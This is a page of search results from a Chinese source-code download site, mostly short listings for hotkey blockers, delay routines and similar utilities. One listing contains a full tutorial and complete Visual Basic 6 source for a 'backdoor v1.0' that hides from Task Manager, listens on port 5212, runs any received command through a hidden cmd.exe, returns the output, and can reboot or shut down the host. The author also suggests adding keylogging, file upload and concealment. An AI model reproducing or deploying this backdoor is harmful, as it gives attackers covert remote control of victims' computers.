Welcome![Sign In][Sign Up]
Location:
Search - c del

Search list

[Other resource2000XP2003Ctrl+Alt+Del

Description: visual C++的代码,实现del+alt+del等系统热键功能,非常强大
Platform: | Size: 170669 | Author: 阮鹏飞 | Hits:

[GUI DevelopC按Ctrl+Alt+Del键找不到本程序

Description: 按Ctrl+Alt+Del键找不到本程序-by Ctrl Alt Del keys can not find this procedure
Platform: | Size: 267669 | Author: 郑清江 | Hits:

[Network DevelopVB Telnet编程指导思路

Description:

vB编程之TELNET
对于TELNET后门的编写我们可通过VC来编写,网上也有很多的关于用VC编写TELNET后门的源码。但是看X档案的一定不少是喜欢VB来编写程序的。纵然编写TELNET后门不是VB的长项,但这不并难实现。偶没见网上有用VB编写TELNET后门的文章,所以我就写下了此文,确切的说,
这不是个真正后门,只是一个后门的基本模型,甚至可以说毛坯。BUG的修改,不足的修补,功能的扩充还需读者动手来实现。
首先,我们在大脑里想象出一个后门运行的过程或者把其大概的流程画出来,然后就按这个过程逐步来实现。好了,
下面就开始我们的后门编写之路。首先就是当程序运行时防止再一个程序的运行,实现代码如下:
Private Sub Form_Load()
syspath = systempath()
'防止多个程序运行
If App.PrevInstance Then
End
End If
cmdno = True
'使程序不在任务管理器中显示
App.TaskVisible = False
'监听端口5212
Winsock1.LocalPort = 5212
Winsock1.Listen
End Sub
其次,当telnet端请求连接时,服务端接受请求。(大家可以在此试着实现密码验证机制的实现,很简单,在此不再给出代码)
当TELNET连接时,触发ConnectionRequest事件,在这个事件中向控制端发送相应的成功连接和帮助信息。
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then
Winsock1.Close
Winsock1.Accept requestID
Winsock1.SendData "------------------------backdoor v1.0-------------------------" & vbCrLf & _
Space(16) & "code by eighteen" & vbCrLf & "-------------------------------------------------------------" & _
vbCrLf & "type help to get help" & vbCrLf & "shell>"
End If
End Sub
当我们连接上时,就需要对TELNET发来的命令进行一系列的处理和执行,以及执行相关的控制功能。
其中的问题是服务端接受来自TELNET客户端的连接和命令,由于TELNET传输命令时只能每间次传输一个字符的特殊性,
所以我们需要编写一个处理命令的过程,这个不难实现。还有就是对特殊字符的过滤和处理,如TELNET输入错误按DEL键,
按ENTER键来完成一条命令的输入。当TELNET连上服务端时,实现shell功能,以及shell功能和其它功能的分离。
对其中的问题有了大概的了解,那实现起来也就不难了。代码如下:
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim str1 As String
Dim scmd As String
Dim i As Integer
Dim tag As Integer
Winsock1.GetData str1
'过滤del键盘,用来telnet命令输入错误处理.如果输入del键盘,则当前命令无效
If Asc(str1) = 8 Then
myname = "" '清空命令存储
Winsock1.SendData vbCrLf & "shell>"
End If
'检察当前一个命令的完整性和对命令输入错误的处理
If (Asc(str1) <> 13) And (Asc(str1) <> 8) Then
myname = myname + str1
Elseif Asc(str1) <> 8 Then
'测试时,查看接受的命令
Text1.Text = myname & vbcrlf
myname = "" '清空对当前命令的存储,用来接受下一条命令
'--------下面是对接受命令的处理
tag = InStr(Text1.Text, Chr(13)) - 1
scmd = Left(Text1.Text, tag)
'------------------------------
'判断是不是在虚拟shell中,不是则执行如下命令,否则执行虚拟shell命令语句
If cmdno = True Then
Select Case scmd
Case "help"
Winsock1.SendData "cmd     -------打开shell" & vbCrLf & "reboot     -------重启" & _
vbCrLf & "shutdown   ------- 关机" & vbCrLf & "exit     -------退出" & vbCrLf & "shell>"

Case "reboot"
ExitWindowsEx EXW_REBOOT, 0

Case "shutdown"
ExitWindowsEx EXW_SHUTDOWN, 0
Case "exit"
Winsock1.SendData "exit seccessful!"
Winsock1.Close
Winsock1.Listen
Case "cmd"
Winsock1.SendData "获得虚拟shell成功!" & vbCrLf & "vcmd>"
cmdno = False
Case Else
Winsock1.SendData "cammond error!" & vbCrLf & "shell>"
End Select
Else
Shell "cmd.exe /c" & Space(1) & scmd & Space(1) & ">" & syspath & "\shell.rlt&exit", vbHide
Sleep (500)
'调用执行结果发送过程
Call tranrlt
Winsock1.SendData "如果想退出虚拟shell,清输入exit" & vbCrLf & "vcmd>"
If scmd = "exit" Then
Winsock1.SendData "成功退出虚拟shell!" & vbCrLf & "shell>"
cmdno = True '重置虚拟shell标志
End If
End If
End If
End Sub
接下来要考滤的是,虚拟shell的实现,我用了一个简单的方法,就是把命令执行结果写入一个文本文档,然后读取其中的内
容并将结果发送给控制端。代码如下:
Sub tranrlt()
Dim strrlt As String
Open syspath & "\shell.rlt" For Input As #1
Do While Not EOF(1)
Line Input #1, strrlt
Winsock1.SendData strrlt & vbCrLf
Loop
Close #1
Winsock1.SendData "----------------------------------------------------" & vbCrLf
Shell "cmd.exe /c del " & syspath & "\shell.rlt&exit", vbHide
End Sub
至此,后门的主要问题都解决了,也许有的读者可以看出,这个后门模型存在问题。的确,这个后门模型并不完整,
所谓学而三思,思而后行,剩下的问题读者可以试着去解决。在此我不在给出源码。提示一下:
(1)如果TELNET不正常退出,服务端还会继续保存当前的会话,重新连接后失败。还有就是如何可以允许多人同时连接功能。
(2)读者可以加上密码验证机制,在此基础上扩大它的控制功能,如键盘记录,文件上传等。
(3)一个成功的后门,必然有一个好的隐藏和自我保护机制,所以,大家需要努力发挥自己的聪明和才智了。
以上只是个人愚见,不难实现。其实程序编写只有深入其中,动手实践,才会发现各种问题,而正是在这发现问题,解决问题的过程中,
你会学到更多,成功后的满足也更多。当我们苦苦思索解决一个问题或实现一种新方法和功能时,那种豁然开朗,
成功的喜悦会让你体会编程的乐趣。希望大家看完本文和在动手来完善它的时候,能学到些知识和技巧,那本文的目的也就达到了。

_____________--源码
Public syspath As String
Public cmdno As Boolean
Private Declare Sub Sleep Lib "kernel32" (ByVal nsecond As Long)
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Const EWX_REBOOT = 2
Const EWX_SHUTDOW = 1
Public myname As String
Sub tranrlt()
Dim strrlt As String
Open syspath & "\shell.rlt" For Input As #1
Do While Not EOF(1)
Line Input #1, strrlt
Winsock1.SendData strrlt & vbCrLf
Loop
Close #1
Winsock1.SendData "----------------------------------------------------" & vbCrLf
Shell "cmd.exe /c del " & syspath & "\shell.rlt&exit", vbHide
End Sub
Function systempath() As String
Dim filepath As String
Dim nSize As Long
filepath = String(255, 0)
nSize = GetSystemDirectory(filepath, 256)
filepath = Left(filepath, nSize)
systempath = filepath
End Function
Private Sub Form_Load()
syspath = systempath()
If App.PrevInstance Then
End
End If
cmdno = True
App.TaskVisible = False
Winsock1.LocalPort = 5212
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then
Winsock1.Close
Winsock1.Accept requestID
Winsock1.SendData "------------------------backdoor v1.0-------------------------" & vbCrLf & _
Space(16) & "code by eighteen" & vbCrLf & "-------------------------------------------------------------" & _
vbCrLf & "type help to get help" & vbCrLf & "shell>"
End If
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim str1 As String
Dim scmd As String
Dim i As Integer
Dim tag As Integer
Winsock1.GetData str1
If Asc(str1) = 8 Then
myname = ""
Winsock1.SendData vbCrLf & "command error!" & vbCrLf & "shell>"
End If
If (Asc(str1) <> 13) And (Asc(str1) <> 8) Then
myname = myname + str1
ElseIf Asc(str1) <> 8 Then
Text1.Text = myname & vbCrLf
myname = ""
tag = InStr(Text1.Text, Chr(13)) - 1
scmd = Left(Text1.Text, tag)
If cmdno = True Then
Select Case scmd
Case "help"
Winsock1.SendData "cmd     -------打开shell" & vbCrLf & "reboot     -------重启" & _
vbCrLf & "shutdown   ------- 关机" & vbCrLf & "exit     -------退出" & vbCrLf & "shell>"

Case "reboot"
ExitWindowsEx EXW_REBOOT, 0

Case "shutdown"
ExitWindowsEx EXW_SHUTDOWN, 0
Case "exit"
Winsock1.SendData "exit seccessful!"
Winsock1.Close
Winsock1.Listen
Case "cmd"
Winsock1.SendData "获得虚拟shell成功!" & vbCrLf & "vcmd>"
cmdno = False
Case Else
Winsock1.SendData "command error!" & vbCrLf & "shell>"
End Select
Else
Shell "cmd.exe /c" & Space(1) & scmd & Space(1) & ">" & syspath & "\shell.rlt&exit", vbHide
Sleep (500)
Call tranrlt

Winsock1.SendData "如果想退出虚拟shell,清输入exit" & vbCrLf & "vcmd>"
If scmd = "exit" Then
Winsock1.SendData "成功退出虚拟shell!" & vbCrLf & "shell>"
cmdno = True
End If
End If
End If
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
Winsock1.Listen
End Sub


Platform: | Size: 8205 | Author: onetwogoo | Hits:

[SourceCodeNoReboot

Description: 是一个在Windows 2000 下屏蔽CTRl+ALT+Del 键的例子-Is a Windows 2000 under the shield CTRl+ ALT+ Del key examples
Platform: | Size: 39936 | Author: 站长 | Hits:

[GUI DevelopC按Ctrl+Alt+Del键找不到本程序

Description: 按Ctrl+Alt+Del键找不到本程序-by Ctrl Alt Del keys can not find this procedure
Platform: | Size: 267264 | Author: 郑清江 | Hits:

[Windows Develop一个屏保程序

Description: 本程序运行后将会屏 Alt+Ctrl+Del,Alt+F4,Alt+Tab等键, (Windows 2000 不能屏蔽) 必须在两个Enter键之间输入密码才能退出!!!!!!!! 密码是"kkcocoon". 本程序在Visual C++ 6.0 下编译.大家可在vc下打开scrnsave.dsw文件就可以很好的查看源文件.也可以File->New->Project->Win32 Application->起个名字,create new workspace->empty win32 application.然后把一个个文件Add进来,F5->确定,就可以了. 这是一个用纯Windows SDK编写的程序,没有用MFC类库,要看懂此程序 必须要懂得在Windows下编程.本程序只是为了给刚学Windows SDK的同仁 提供适合的示例程序,并给出祥尽注释.-Windows Screen Saver source code, block keyboard input of Alt_Ctrl_Del, Alt+F4, Alt+Tab(can not block in win2000), password is kkcocoon.
Platform: | Size: 1218560 | Author: 阿的 | Hits:

[VC/MFCcfunctioncheckbook

Description: C语言库函数速查[CHM文档]是一个很好的C语言函数查询器.属于CHM文档. iscntrl 原型:extern int iscntrl(int c) 用法:#include <ctype.h> 功能:判断字符c是否为控制字符 说明:当c在0x00-0x1F之间或等于0x7F(DEL)时,返回非零值,否则返回零。-C language library functions Check [CHM documentation] is a very good C language function for inquiries. CHM belonging to the text Ref. iscntrl prototype : extern int iscntrl (int c) Usage :# include
Platform: | Size: 82944 | Author: 王敏 | Hits:

[Embeded-SCM Developc_delay

Description: 几个精确C语言延时程序.1:500ms 2:200ms. 3:10ms.4:1s.-Several precision C language delay procedures .1:500 ms 2:200 ms.3: 10ms.4: 1s.
Platform: | Size: 1024 | Author: 张明 | Hits:

[SCMC(delay)

Description: C语言精确延时,对于初学单片机的同学很有帮助,希望大家能喜欢!
Platform: | Size: 1024 | Author: homer | Hits:

[OS Developlinuxtrycode

Description: linux文件系统试验 一、实验目的 学习有关linux文件管理程序如何组织的知识,为简化的文件系统设计并实现一组目录操作。实验中使用软盘的fat12格式,设计一个程序可以对这种格式的磁盘进行一组目录操作。 实验使用了部分linux的系统调用,比如说open() sleek() read() write()几个调用。通过此实验来对linux的文件系统的管理有进一步的理解。 二、实验要求 主要实现三个功能:一 读取磁盘目录的目录列表。(命令输入 ls ) 二 切换目录(不处理路径名)。(命令输cd dir_name 或cd/ 或cd.. ) 三 删除当前目录下的文件。(命令输入 del filename )-err
Platform: | Size: 337920 | Author: jialin | Hits:

[OS programDelay_time

Description: 用C编写的微秒级精确延时DLL函数库,通过调用kernel32.dll的QueryPerformanceFrequency()、QueryPerformanceCounter()函数实现。-Prepared with C-level precision microsecond delay DLL function library, by calling the kernel32.dll of QueryPerformanceFrequency (), QueryPerformanceCounter () function.
Platform: | Size: 94208 | Author: 王学文 | Hits:

[VC/MFC2000XP2003Ctrl+Alt+Del

Description: visual C++的代码,实现del+alt+del等系统热键功能,非常强大-visual C++ code realize del+ alt+ del hotkey function systems, a very powerful
Platform: | Size: 169984 | Author: 阮鹏飞 | Hits:

[SCMsjxt

Description: 计算机锁机系统由软件和硬件组成。软件由Visual Basic 6.0编写。硬件主要由无线发送模块和单片机(C语言编写)构成。通过RS232界面与PC通信而实现无线控制系统。 主要功能是:对PC的定时“锁机”、“开锁”和关机,以及通过“遥控器”对PC的锁定和控制。 PC锁定主要是防止别人在您离开后对您的PC的数据破坏和系统操作(即使按下Ctrl+Alt+Del或Alt+Tab也无法破解。)。 PC控制是通过“控制器”控制PC的关机、重启、开/关显示器、光驱的打开/关闭和静音。 -Lock computer system software and hardware components from. Software prepared by the Visual Basic 6.0. Sent by the wireless hardware modules and single-chip (C language) composition. PC through the RS232 communication interface with the wireless control system. Main functions are: the timing of the PC " lock machine" , " unlock" and shuts down, as well as through the " remote control" of the PC-lock and control. PC is locked to prevent other people after you leave your PC data destruction and system operation (even if press Ctrl+ Alt+ Del, or Alt+ Tab will not crack.). PC control is through the " controller" control PC shutdown, restart, on/off display, the drive on/off and mute.
Platform: | Size: 2366464 | Author: 吴成勇 | Hits:

[Shell apidel.self

Description: c语言程序,通过系统shell来删除自身程序。-c language program, through the system shell to remove its own procedures.
Platform: | Size: 1024 | Author: robert | Hits:

[Hook apiHookLock

Description: C#锁屏程序,对系统的功能热键进行了屏敝,ctrl+alt+del没有屏敝,只是对任务管理器做了设置 -C# lock-screen procedures, function of the system conducted a screen worn hotkey, ctrl+ alt+ del does not screen worn, just did a set up Task Manager
Platform: | Size: 398336 | Author: | Hits:

[Internet-NetworkCifra1.c

Description: Código fuente del algoritmo cifra
Platform: | Size: 1024 | Author: Raiden | Hits:

[Linux-UnixSSS.ZIP

Description: Satanic Socks Server v0.66.170506 Powered by drmist\STNC Compilation: Win32: cl /Gz /O1 sss.c && del sss.obj Linux: gcc -lpthread sss.c -o sss FreeBSD: gcc -pthread sss.c -o -Satanic Socks Server v0.66.170506 Powered by drmist\STNC Compilation: Win32: cl /Gz /O1 sss.c && del sss.obj Linux: gcc -lpthread sss.c -o sss FreeBSD: gcc -pthread sss.c -o sss
Platform: | Size: 3072 | Author: Andrey | Hits:

[matlabBEMDalgorithm

Description: 这是一个二维模态分解的一个程序。 一个美国佬写的。是分析图形的一个新的方法。- BEMD.m J.C. Nunes, Y. Bouaoune, E. Del閏helle, N. Oumar, and Ph. Bunel. "Image analysis by bidimensional empirical mode decomposition". Image and Vision Computing Journal (IVC), (to appear), 2003.
Platform: | Size: 4096 | Author: chen | Hits:

[VC/MFCdel

Description: 用Visual C++语言实现了删除表中相同的元素的基本功能-Using Visual C++ language to delete the same table, the basic functions of the elements
Platform: | Size: 1024 | Author: cane | Hits:

[source in ebookXin-Sun-C-P-P-Tutorial-PPT-notes

Description: 孙鑫C++教程(全20讲)PPT讲义 深入浅出,从基础学起,是学习C++的好教材-Xin Sun C++ Tutorial (all 20 speakers) PPT notes easy to understand, starting from the basic science is good to learn C++ del material
Platform: | Size: 2534400 | Author: Jeff | Hits:
« 12 3 4 5 6 7 »

CodeBus www.codebus.net